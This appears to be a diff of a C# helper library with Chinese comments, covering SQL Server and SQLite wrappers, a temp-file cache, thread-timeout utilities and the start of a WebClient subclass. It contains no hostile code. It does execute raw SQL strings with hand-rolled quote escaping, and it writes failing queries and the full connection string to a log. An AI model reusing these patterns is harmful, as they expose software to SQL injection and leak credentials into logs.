||||
{
|
||||
ErrorDoing(e.Message,sql);
|
||||
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
/// <summary>
|
||||
/// 获取插入ID
|
||||
/// </summary>
|
||||
/// <param name="sql"></param>
|
||||
/// <returns></returns>
|
||||
public int InsertId(string sql)
|
||||
{
|
||||
sql += ";SELECT @@IDENTITY";
|
||||
string id = ExecuteFirst(sql);
|
||||
int i = 0;
|
||||
int.TryParse(id, out i);
|
||||
return i;
|
||||
}
|
||||
/// <summary>
|
||||
/// 是否存在
|
||||
/// </summary>
|
||||
/// <param name="sql"></param>
|
||||
/// <returns></returns>
|
||||
public bool Exists(string sql)
|
||||
{
|
||||
string id = ExecuteFirst(sql);
|
||||
return !string.IsNullOrEmpty(id);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 执行指定数据库连接对象的命令,指定存储过程参数,返回DataSet.
|
||||
/// </summary>
|
||||
/// <param name="sql">存储过程名或T-SQL语句</param>
|
||||
/// <returns>返回一个包含结果集的DataSet</returns>
|
||||
public DataSet ExecuteDataset(string sql)
|
||||
{
|
||||
|
||||
SqlCommand cmd = PrepareCommand(sql);
|
||||
try
|
||||
{
|
||||
// 创建SqlDataAdapter和DataSet.
|
||||
SqlDataAdapter da = new SqlDataAdapter(cmd);
|
||||
|
||||
DataSet ds = new DataSet();
|
||||
// 填充DataSet.
|
||||
da.Fill(ds);
|
||||
cmd.Parameters.Clear();
|
||||
return ds;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
ErrorDoing(e.Message,sql);
|
||||
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 执行指定数据库连接对象的命令,指定存储过程参数,返回DataSet.
|
||||
/// </summary>
|
||||
/// <param name="sql">存储过程名或T-SQL语句</param>
|
||||
/// <returns>返回一个包含结果集的DataSet</returns>
|
||||
public DataTable ExecuteDataTable(string sql)
|
||||
{
|
||||
|
||||
SqlCommand cmd = PrepareCommand(sql);
|
||||
try
|
||||
{
|
||||
// 创建SqlDataAdapter和DataSet.
|
||||
SqlDataAdapter da = new SqlDataAdapter(cmd);
|
||||
|
||||
DataTable ds = new DataTable();
|
||||
// 填充DataSet.
|
||||
da.Fill(ds);
|
||||
cmd.Parameters.Clear();
|
||||
return ds;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
ErrorDoing(e.Message,sql);
|
||||
|
||||
}
|
||||
return null;
|
||||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 执行指定数据库连接对象的命令,指定存储过程参数,返回DataSet.
|
||||
/// </summary>
|
||||
/// <param name="sql">存储过程名或T-SQL语句</param>
|
||||
/// <returns>返回一个包含结果集的DataSet</returns>
|
||||
public DataRow ExecuteDataTableRow(string sql)
|
||||
{
|
||||
|
||||
SqlCommand cmd = PrepareCommand(sql);
|
||||
try
|
||||
{
|
||||
// 创建SqlDataAdapter和DataSet.
|
||||
SqlDataAdapter da = new SqlDataAdapter(cmd);
|
||||
|
||||
DataTable ds = new DataTable();
|
||||
// 填充DataSet.
|
||||
da.Fill(ds);
|
||||
if (ds.Rows.Count > 0)
|
||||
return ds.Rows[0];
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
ErrorDoing(e.Message,sql);
|
||||
|
||||
}
|
||||
|
||||
return null;
|
||||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 执行指定数据库连接对象的命令,指定参数,返回结果集中的第一行第一列.
|
||||
/// </summary>
|
||||
/// <param name="sql">存储过程名称或T-SQL语句</param>
|
||||
/// <returns>返回结果集中的第一行第一列</returns>
|
||||
public string ExecuteFirst(string sql)
|
||||
{
|
||||
|
||||
SqlCommand cmd = PrepareCommand(sql);
|
||||
try
|
||||
{
|
||||
SqlDataAdapter da = new SqlDataAdapter(cmd);
|
||||
DataTable ds = new DataTable();
|
||||
// 填充DataSet.
|
||||
da.Fill(ds);
|
||||
// 执行SqlCommand命令,并返回结果.
|
||||
var retval = cmd.ExecuteScalar();
|
||||
|
||||
return retval==null?"": retval.ToString();
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
ErrorDoing(e.Message,sql);
|
||||
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 预处理用户提供的命令,数据库连接/事务/命令类型/参数
|
||||
/// </summary>
|
||||
/// <param name="commandText">存储过程名或都T-SQL命令文本</param>
|
||||
private SqlCommand PrepareCommand(string commandText)
|
||||
{
|
||||
SqlCommand command = new SqlCommand();
|
||||
if (Connection.State != ConnectionState.Open)
|
||||
ConnTo();
|
||||
|
||||
command.Connection = Connection;
|
||||
command.CommandText = commandText;
|
||||
command.CommandType = CommandType.Text;
|
||||
command.CommandTimeout = TimeOut;
|
||||
return command;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 针对不同错误,执行不同的修正
|
||||
/// </summary>
|
||||
/// <param name="message"></param>
|
||||
private void ErrorDoing(string message, string sql)
|
||||
{
|
||||
if (string.IsNullOrEmpty(message))
|
||||
return;
|
||||
if (message.Contains("Incorrect string value"))
|
||||
return;
|
||||
if (message.Contains("Connection must be valid and open"))
|
||||
ConnTo();
|
||||
if (message.Contains("There is already an open DataReader"))
|
||||
{
|
||||
Thread.Sleep(500);
|
||||
ConnTo();
|
||||
}
|
||||
if (message.Contains("Fatal error encountered during command execution."))
|
||||
ConnTo();
|
||||
if (message.Contains(" StreamWriter ") || message.Contains("未将对象引用设置到对象的实例") || message.Contains("未将对象"))
|
||||
ConnTo();
|
||||
LogSave.Add("执行SQL:"+sql+" 错误:"+message);
|
||||
Random ra = new Random(Guid.NewGuid().GetHashCode());
|
||||
Thread.Sleep(ra.Next(200, 2000));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 链接数据库
|
||||
/// </summary>
|
||||
private void ConnTo()
|
||||
{
|
||||
try
|
||||
{
|
||||
Connection = new SqlConnection(ConnString);
|
||||
Connection.Open();
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
ErrorDoing(e.Message,ConnString);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 关闭链接
|
||||
/// </summary>
|
||||
public void Close()
|
||||
{
|
||||
try
|
||||
{
|
||||
Connection.Close();
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
public static string ChatCss = ".el-message__closeBtn:focus,.el-message__content:focus{outline-width:0}.el-message{min-width:380px;-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:4px;border-width:1px;border-style:solid;border-color:#ebeef5;position:fixed;left:50%;top:20px;-webkit-transform:translateX(-50%);transform:translateX(-50%);background-color:#edf2fc;-webkit-transition:opacity .3s,-webkit-transform .4s;transition:opacity .3s,-webkit-transform .4s;transition:opacity .3s,transform .4s;transition:opacity .3s,transform .4s,-webkit-transform .4s;overflow:hidden;padding:15px 15px 15px 20px;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.el-message.is-center{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.el-message.is-closable .el-message__content{padding-right:16px}.el-message p{margin:0}.el-message--info .el-message__content{color:#909399}.el-message--success{background-color:#f0f9eb;border-color:#e1f3d8}.el-message--success .el-message__content{color:#67c23a}.el-message--warning{background-color:#fdf6ec;border-color:#faecd8}.el-message--warning .el-message__content{color:#e6a23c}.el-message--error{background-color:#fef0f0;border-color:#fde2e2}.el-message--error .el-message__content{color:#f56c6c}.el-message__icon{margin-right:10px}.el-message__content{padding:0;font-size:14px;line-height:1}.el-message__closeBtn{position:absolute;top:50%;right:15px;-webkit-transform:translateY(-50%);transform:translateY(-50%);cursor:pointer;color:#c0c4cc;font-size:16px}.el-message__closeBtn:hover{color:#909399}.el-message .el-icon-success{color:#67c23a}.el-message .el-icon-error{color:#f56c6c}.el-message .el-icon-info{color:#909399}.el-message .el-icon-warning{color:#e6a23c}.el-message-fade-enter,.el-message-fade-leave-active{opacity:0;-webkit-transform:translate(-50%,-100%);transform:translate(-50%,-100%)}.el-button,.el-input__inner{-webkit-appearance:none;outline:0}.el-message-box,.el-popup-parent--hidden{overflow:hidden}.v-modal-enter{-webkit-animation:v-modal-in .2s ease;animation:v-modal-in .2s ease}.v-modal-leave{-webkit-animation:v-modal-out .2s ease forwards;animation:v-modal-out .2s ease forwards}@-webkit-keyframes v-modal-in{0%{opacity:0}}@keyframes v-modal-in{0%{opacity:0}}@-webkit-keyframes v-modal-out{100%{opacity:0}}@keyframes v-modal-out{100%{opacity:0}}.v-modal{position:fixed;left:0;top:0;width:100%;height:100%;opacity:.5;background:#000}.el-button{display:inline-block;line-height:1;white-space:nowrap;cursor:pointer;background:#fff;border:1px solid #dcdfe6;color:#606266;text-align:center;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;-webkit-transition:.1s;transition:.1s;font-weight:500;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;padding:12px 20px;font-size:14px;border-radius:4px}.el-button+.el-button{margin-left:10px}.el-button:focus,.el-button:hover{color:#409EFF;border-color:#c6e2ff;background-color:#ecf5ff}.el-button:active{color:#3a8ee6;border-color:#3a8ee6;outline:0}.el-button::-moz-focus-inner{border:0}.el-button [class*=el-icon-]+span{margin-left:5px}.el-button.is-plain:focus,.el-button.is-plain:hover{background:#fff;border-color:#409EFF;color:#409EFF}.el-button.is-active,.el-button.is-plain:active{color:#3a8ee6;border-color:#3a8ee6}.el-button.is-plain:active{background:#fff;outline:0}.el-button.is-disabled,.el-button.is-disabled:focus,.el-button.is-disabled:hover{color:#c0c4cc;cursor:not-allowed;background-image:none;background-color:#fff;border-color:#ebeef5}.el-button.is-disabled.el-button--text{background-color:transparent}.el-button.is-disabled.is-plain,.el-button.is-disabled.is-plain:focus,.el-button.is-disabled.is-plain:hover{background-color:#fff;border-color:#ebeef5;color:#c0c4cc}.el-button.is-loading{position:relative;pointer-events:none}.el-button.is-loading:before{pointer-events:none;position:absolute;left:-1px;top:-1px;right:-1px;bottom:-1px;border-radius:inherit;background-color:rgba(255,255,255,.35)}.el-button.is-round{border-radius:20px;padding:12px 23px}.el-button.is-circle{border-radius:50%;padding:12px}.el-button--primary{color:#fff;background-color:#409EFF;border-color:#409EFF}.el-button--primary:focus,.el-button--primary:hover{background:#66b1ff;border-color:#66b1ff;color:#fff}.el-button--primary.is-active,.el-button--primary:active{background:#3a8ee6;border-color:#3a8ee6;color:#fff}.el-button--primary:active{outline:0}.el-button--primary.is-disabled,.el-button--primary.is-disabled:active,.el-button--primary.is-disabled:focus,.el-button--primary.is-disabled:hover{color:#fff;background-color:#a0cfff;border-color:#a0cfff}.el-button--primary.is-plain{color:#409EFF;background:#ecf5ff;border-color:#b3d8ff}.el-button--primary.is-plain:focus,.el-button--primary.is-plain:hover{background:#409EFF;border-color:#409EFF;color:#fff}.el-button--primary.is-plain:active{background:#3a8ee6;border-color:#3a8ee6;color:#fff;outline:0}.el-but
Line truncated
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,251 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Data;
|
||||
using System.Data.SQLite;
|
||||
using System.Configuration;
|
||||
using System.IO;
|
||||
using System.Data.Common;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class SqliteHelper
|
||||
{
|
||||
//获取连接字符串
|
||||
|
||||
private static readonly string str = "data source =DB.dll"; //ConfigurationManager.ConnectionStrings["conStr"].ConnectionString;
|
||||
|
||||
public static void CreateProductTable()
|
||||
{
|
||||
DBConfig.DBName = "DB.dll";
|
||||
DBConfig.CreateDbFile();
|
||||
DBConfig.CreateProductTable();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 做增删改的功能
|
||||
/// </summary>
|
||||
/// <param name="sql">sql语句</param>
|
||||
/// <param name="ps">sql语句中的参数</param>
|
||||
/// <returns>受影响的行数</returns>
|
||||
public static int ExecuteNonQuery(string sql, params SQLiteParameter[] ps)
|
||||
{
|
||||
try
|
||||
{
|
||||
//连接数据库
|
||||
using (SQLiteConnection con = new SQLiteConnection(str))
|
||||
{
|
||||
using (SQLiteCommand cmd = new SQLiteCommand(sql, con))
|
||||
{
|
||||
con.Open();//打开数据库
|
||||
if (ps != null)
|
||||
{
|
||||
cmd.Parameters.AddRange(ps);//参数
|
||||
}
|
||||
return cmd.ExecuteNonQuery();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
public static int ExecuteNonQueryInsert(string sql, SQLiteCommand cmd)
|
||||
{
|
||||
try
|
||||
{
|
||||
cmd.CommandText = sql;
|
||||
return cmd.ExecuteNonQuery();
|
||||
}
|
||||
catch(Exception ex)
|
||||
{
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 做增删改的功能
|
||||
/// </summary>
|
||||
/// <param name="sql">sql语句</param>
|
||||
/// <param name="ps">sql语句中的参数</param>
|
||||
/// <returns>受影响的行数</returns>
|
||||
public static int BatchExecuteNonQuery(List<string> lst)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (SQLiteConnection con = new SQLiteConnection(str))
|
||||
{
|
||||
using (SQLiteCommand cmd = new SQLiteCommand())
|
||||
{
|
||||
con.Open();
|
||||
cmd.Connection = con;
|
||||
using (var transaction = con.BeginTransaction())
|
||||
{
|
||||
for (int i = 0; i < lst.Count; i++)
|
||||
{
|
||||
ExecuteNonQueryInsert(lst[i],cmd);
|
||||
}
|
||||
transaction.Commit();
|
||||
}
|
||||
con.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
/// <summary>
|
||||
/// 去掉SQL中的特殊字符
|
||||
/// </summary>
|
||||
/// <param name="value">字符串</param>
|
||||
/// <returns></returns>
|
||||
public static string ReplaceSqlx(string value)
|
||||
{
|
||||
if (string.IsNullOrEmpty(value))
|
||||
return null;
|
||||
value = value.Replace("\\", "\\\\");
|
||||
value = value.Replace("'", "''");
|
||||
//value = value.Replace("\"", "\\\"");
|
||||
return value;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 首行首列
|
||||
/// </summary>
|
||||
/// <param name="sql">sql语句</param>
|
||||
/// <param name="ps">sql语句中的参数</param>
|
||||
/// <returns>返回的是首行首列</returns>
|
||||
public static object ExecuteScalar(string sql, params SQLiteParameter[] ps)
|
||||
{
|
||||
using (SQLiteConnection con = new SQLiteConnection(str))
|
||||
{
|
||||
using (SQLiteCommand cmd = new SQLiteCommand(sql, con))
|
||||
{
|
||||
con.Open();
|
||||
if (ps != null)
|
||||
{
|
||||
cmd.Parameters.AddRange(ps);
|
||||
}
|
||||
return cmd.ExecuteScalar();
|
||||
}
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 查询的
|
||||
/// </summary>
|
||||
/// <param name="sql">sql语句</param>
|
||||
/// <param name="ps">sql语句中的参数</param>
|
||||
/// <returns>返回的是SqliteDataReader</returns>
|
||||
public static SQLiteDataReader ExecuteReader(string sql, params SQLiteParameter[] ps)
|
||||
{
|
||||
SQLiteConnection con = new SQLiteConnection(str);
|
||||
using (SQLiteCommand cmd = new SQLiteCommand(sql, con))
|
||||
{
|
||||
if (ps != null)
|
||||
{
|
||||
cmd.Parameters.AddRange(ps);
|
||||
}
|
||||
try
|
||||
{
|
||||
con.Open();
|
||||
return cmd.ExecuteReader(System.Data.CommandBehavior.CloseConnection);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
con.Close();
|
||||
con.Dispose();
|
||||
throw ex;
|
||||
}
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 查询数据
|
||||
/// </summary>
|
||||
/// <param name="sql">sql语句</param>
|
||||
/// <param name="ps">sql语句中的参数</param>
|
||||
/// <returns>返回表</returns>
|
||||
public static DataTable ExecuteTable(string sql, params SQLiteParameter[] ps)
|
||||
{
|
||||
try
|
||||
{
|
||||
DataTable dt = new DataTable();
|
||||
using (SQLiteDataAdapter sda=new SQLiteDataAdapter(sql,str))
|
||||
{
|
||||
if (ps!=null)
|
||||
{
|
||||
sda.SelectCommand.Parameters.AddRange(ps);
|
||||
}
|
||||
sda.Fill(dt);
|
||||
return dt;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return new DataTable();
|
||||
}
|
||||
}
|
||||
|
||||
public class DBConfig
|
||||
{
|
||||
public static string DBName = "DB.dll"; //数据库的名字
|
||||
|
||||
public static string DataSource
|
||||
{
|
||||
get
|
||||
{
|
||||
string databaseFile = GetDatabaseFile();
|
||||
return string.Format("data source={0}", databaseFile);
|
||||
}
|
||||
}
|
||||
public static void CreateDirectory(string dir)
|
||||
{
|
||||
if (!Directory.Exists(dir))
|
||||
{
|
||||
Directory.CreateDirectory(dir);
|
||||
}
|
||||
}
|
||||
|
||||
public static bool CreateDbFile()
|
||||
{
|
||||
string databaseFile = GetDatabaseFile();
|
||||
try
|
||||
{
|
||||
CreateDirectory(Path.GetDirectoryName(databaseFile));
|
||||
if (!File.Exists(databaseFile))
|
||||
{
|
||||
SQLiteConnection.CreateFile(databaseFile);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception("新建数据库文件" + databaseFile + "失败:" + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetDatabaseFile()
|
||||
{
|
||||
string databaseFile = Path.Combine(AppDomain.CurrentDomain.BaseDirectory,DBName);
|
||||
return databaseFile;
|
||||
}
|
||||
|
||||
public static void CreateProductTable()
|
||||
{
|
||||
string sql = "CREATE TABLE if not exists Product (content STRING, fromid STRING PRIMARY KEY);";
|
||||
try
|
||||
{
|
||||
SqliteHelper.ExecuteNonQuery(sql);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
/*
|
||||
* 临时文件自动存储管理
|
||||
* 肖俊
|
||||
* 2017-7-11
|
||||
*
|
||||
*/
|
||||
using System;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class TempFileReadWritex
|
||||
{
|
||||
private static string MainPath = Application.StartupPath + "\\temp\\";
|
||||
/// <summary>
|
||||
/// 写入临时文件
|
||||
/// </summary>
|
||||
/// <param name="id">ID</param>
|
||||
/// <param name="type">类型:content / desc</param>
|
||||
/// <param name="content">内容</param>
|
||||
public static void Write(long id, string type, string content)
|
||||
{
|
||||
string path = MainPath + type + "\\" + (id % 1024) + "\\";
|
||||
FileBase.DirectoryCreate(path);
|
||||
string file = path + id + ".tjm";
|
||||
FileBase.WriteAllText(file, DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss\r\n"));
|
||||
FileBase.AppendAllText(file, content, Encoding.UTF8);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 读取临时文件
|
||||
/// </summary>
|
||||
/// <param name="id">ID</param>
|
||||
/// <param name="type">类型:content / desc</param>
|
||||
/// <param name="hadFile">读取成功</param>
|
||||
/// <returns></returns>
|
||||
public static string Read(long id, string type, out bool hadFile)
|
||||
{
|
||||
return Read(id, type, out hadFile, BaseClass.TempSecond);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 读取临时文件
|
||||
/// </summary>
|
||||
/// <param name="id">ID</param>
|
||||
/// <param name="type">类型:content / desc</param>
|
||||
/// <param name="hadFile">读取成功</param>
|
||||
/// <param name="useTime">过期时间,秒</param>
|
||||
/// <returns></returns>
|
||||
public static string Read(long id, string type, out bool hadFile, int useTime)
|
||||
{
|
||||
hadFile = false;
|
||||
string path = MainPath + type + "\\" + (id % 1024) + "\\";
|
||||
if (!FileBase.Exists(path))
|
||||
return null;
|
||||
string conent = FileBase.ReadAllText(path);
|
||||
if (conent.Length < 21)
|
||||
return null;
|
||||
string date = conent.Substring(0, 19);
|
||||
DateTime saveTime;
|
||||
if (!DateTime.TryParse(date, out saveTime))
|
||||
return null;
|
||||
double second = (DateTime.Now - saveTime).TotalSeconds;
|
||||
if (second < useTime)
|
||||
{
|
||||
hadFile = true;
|
||||
return conent.Substring(21);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,243 @@
|
||||
/*
|
||||
* 带超时的线程管理
|
||||
* 肖俊
|
||||
* 2014-8-21
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Threading;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
/// <summary>
|
||||
/// 带超时的线程管理
|
||||
/// </summary>
|
||||
public class Threadx
|
||||
{
|
||||
/// <summary>
|
||||
/// 超时:秒
|
||||
/// </summary>
|
||||
public int TimeOut = 30;
|
||||
/// <summary>
|
||||
/// 主线程
|
||||
/// </summary>
|
||||
private Thread t=null;
|
||||
/// <summary>
|
||||
/// 判断是否结束线程
|
||||
/// </summary>
|
||||
private Thread te = null;
|
||||
/// <summary>
|
||||
/// 启动时间
|
||||
/// </summary>
|
||||
public DateTime StartTime;
|
||||
/// <summary>
|
||||
/// 是否存活
|
||||
/// </summary>
|
||||
public bool IsActive { get {
|
||||
try
|
||||
{
|
||||
return (t == null ? false : t.IsAlive);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
} }
|
||||
/// <summary>
|
||||
/// 线程名称
|
||||
/// </summary>
|
||||
public string Name = "";
|
||||
/// <summary>
|
||||
/// 初始化
|
||||
/// </summary>
|
||||
/// <param name="ts">要启动的线程</param>
|
||||
public Threadx(Thread ts)
|
||||
{
|
||||
t = ts;
|
||||
te = new Thread(End);
|
||||
}
|
||||
/// <summary>
|
||||
/// 初始化
|
||||
/// </summary>
|
||||
/// <param name="ts">要启动的线程</param>
|
||||
/// <param name="dt">启动时间</param>
|
||||
public Threadx(Thread ts, DateTime dt)
|
||||
{
|
||||
StartTime = dt;
|
||||
t = ts;
|
||||
Start();
|
||||
}
|
||||
/// <summary>
|
||||
/// 初始化+立即启动
|
||||
/// </summary>
|
||||
/// <param name="ts">要启动的线程</param>
|
||||
/// <param name="timeOut">超时</param>
|
||||
public Threadx(Thread ts, int timeOut)
|
||||
{
|
||||
t = ts;
|
||||
TimeOut = timeOut;
|
||||
te = new Thread(End);
|
||||
Start();
|
||||
}
|
||||
/// <summary>
|
||||
/// 初始化+立即启动
|
||||
/// </summary>
|
||||
/// <param name="ts">要启动的线程</param>
|
||||
/// <param name="timeOut">超时</param>
|
||||
/// <param name="name">名称</param>
|
||||
public Threadx(Thread ts, int timeOut, string name)
|
||||
{
|
||||
Name = name;
|
||||
t = ts;
|
||||
TimeOut = timeOut;
|
||||
te = new Thread(End);
|
||||
Start();
|
||||
}
|
||||
/// <summary>
|
||||
/// 启动,以最低优先级运行
|
||||
/// </summary>
|
||||
public void Start()
|
||||
{
|
||||
StartTime = DateTime.Now;
|
||||
if(t==null || t.IsAlive)
|
||||
return;
|
||||
try
|
||||
{
|
||||
t.Priority = ThreadPriority.Lowest;
|
||||
t.Start();
|
||||
if(te==null)
|
||||
return;
|
||||
te.Priority = ThreadPriority.BelowNormal;
|
||||
te.Start();
|
||||
}
|
||||
catch
|
||||
{
|
||||
Abort();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 终止线程
|
||||
/// </summary>
|
||||
public void Abort()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (t != null && t.IsAlive)
|
||||
t.Abort();
|
||||
if(te!=null && te.IsAlive)
|
||||
te.Abort();
|
||||
t = null;
|
||||
te = null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 判断超时与自动结束
|
||||
/// </summary>
|
||||
private void End()
|
||||
{
|
||||
if(t==null)
|
||||
return;
|
||||
int i = 0;
|
||||
while (t!=null && t.IsAlive && i < 10 * TimeOut)
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
i++;
|
||||
}
|
||||
if (t != null && t.IsAlive)
|
||||
Abort();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 线程队列批量启动与执行超时控制
|
||||
/// </summary>
|
||||
/// <param name="ts">线程队列</param>
|
||||
/// <param name="timeOut">超时(单位秒)</param>
|
||||
/// <param name="sleep">启动等待(单位毫秒)</param>
|
||||
public static void ThreadListTimeOut(ref List<Thread> ts, int timeOut, int sleep)
|
||||
{
|
||||
if (timeOut < 1)
|
||||
return;
|
||||
try
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < ts.Count; i++)
|
||||
{
|
||||
if(!ts[i].IsAlive)
|
||||
ts[i].Start();
|
||||
if (sleep > 0 && i < ts.Count - 1)
|
||||
Thread.Sleep(sleep);
|
||||
}
|
||||
i = 0;
|
||||
while (ts.Count > 0 && i < 1000)
|
||||
{
|
||||
if (ts[0] == null || !ts[0].IsAlive)
|
||||
ts.RemoveAt(0);
|
||||
Thread.Sleep(timeOut);
|
||||
i++;
|
||||
}
|
||||
while (ts.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (ts[0] != null && ts[0].IsAlive)
|
||||
ts[0].Abort();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
ts.RemoveAt(0);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 等待队列
|
||||
/// </summary>
|
||||
/// <param name="ts">线程队列</param>
|
||||
/// <param name="t">新增线程</param>
|
||||
/// <param name="count">线程总数</param>
|
||||
public static void ThreadListWait(ref List<Thread> ts, Thread t, int count, object obj = null)
|
||||
{
|
||||
t.IsBackground = true;
|
||||
if (obj != null) t.Start(obj);
|
||||
else t.Start();
|
||||
ts.Add(t);
|
||||
if (ts.Count < count)
|
||||
return;
|
||||
while (ts.Count >= count)
|
||||
{
|
||||
for (int i = 0; i < ts.Count; i++)
|
||||
{
|
||||
if (ts[i] == null || !ts[i].IsAlive)
|
||||
{
|
||||
ts.RemoveAt(i);
|
||||
i--;
|
||||
}
|
||||
}
|
||||
Thread.Sleep(10);
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 等待队列完全结束
|
||||
/// </summary>
|
||||
/// <param name="ts">线程队列</param>
|
||||
public static void ThreadListWait(ref List<Thread> ts)
|
||||
{
|
||||
while (ts.Count > 0)
|
||||
{
|
||||
if (ts[0] == null || !ts[0].IsAlive)
|
||||
ts.RemoveAt(0);
|
||||
Thread.Sleep(10);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
|
||||
using System;
|
||||
using System.Threading;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class ThreadTime
|
||||
{
|
||||
public Thread t;
|
||||
public DateTime StartTime;
|
||||
public bool IsAlive
|
||||
{
|
||||
get
|
||||
{
|
||||
try
|
||||
{
|
||||
return (t == null ? false : t.IsAlive);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public ThreadTime(Thread _t)
|
||||
{
|
||||
t = _t;
|
||||
}
|
||||
public void Start()
|
||||
{
|
||||
t.Priority = ThreadPriority.BelowNormal;
|
||||
t.Start();
|
||||
StartTime = DateTime.Now;
|
||||
}
|
||||
public void Abort()
|
||||
{
|
||||
try
|
||||
{
|
||||
if(t.IsAlive)
|
||||
t.Abort();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Net;
|
||||
using System.Net.Cache;
|
||||
using System.Net.Security;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
/// <summary>
|
||||
/// 下载器
|
||||
/// </summary>
|
||||
public class WebClientx : WebClient
|
||||
{
|
||||
/// <summary>
|
||||
/// 默认超时多少秒
|
||||
/// </summary>
|
||||
public int Timeout = 100;
|
||||
/// <summary>
|
||||
/// 允许自动重定向
|
||||
/// </summary>
|
||||
public bool AllowAutoRedirect = true;
|
||||
public bool IsDelete = false;
|
||||
|
||||
private string OutIP = "";
|
||||
/// <summary>
|
||||
/// 证书列表
|
||||
/// </summary>
|
||||
public static List<Certificate> X509List = new List<Certificate>();
|
||||
/// <summary>
|
||||
/// 绑定IP
|
||||
/// </summary>
|
||||
/// <param name="outIp"></param>
|
||||
public WebClientx(string outIp)
|
||||
{
|
||||
OutIP = outIp;
|
||||
CachePolicy = new RequestCachePolicy(RequestCacheLevel.NoCacheNoStore);
|
||||
}
|
||||
|
||||
public WebClientx()
|
||||
{
|
||||
}
|
||||
/// <summary>
|
||||
/// 重写
|
||||
/// </summary>
|
||||
/// <param name="address"></param>
|
||||
/// <returns></returns>
|
||||
protected override WebRequest GetWebRequest(Uri address)
|
||||
{
|
||||
string s = address.ToString();
|
||||
if (string.IsNullOrEmpty(s) || s.Length < 7 || !(s.Substring(0, 7).ToLower() == "http://" || s.Substring(0, 8).ToLower() == "https://"))
|
||||
return null;
|
||||
var request = (HttpWebRequest)base.GetWebRequest(address);
|
||||
request.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip;
|
||||
request.Timeout = 1000 * Timeout;
|
||||
request.ReadWriteTimeout = 500 * Timeout;
|
||||
request.AllowAutoRedirect = AllowAutoRedirect;
|
||||
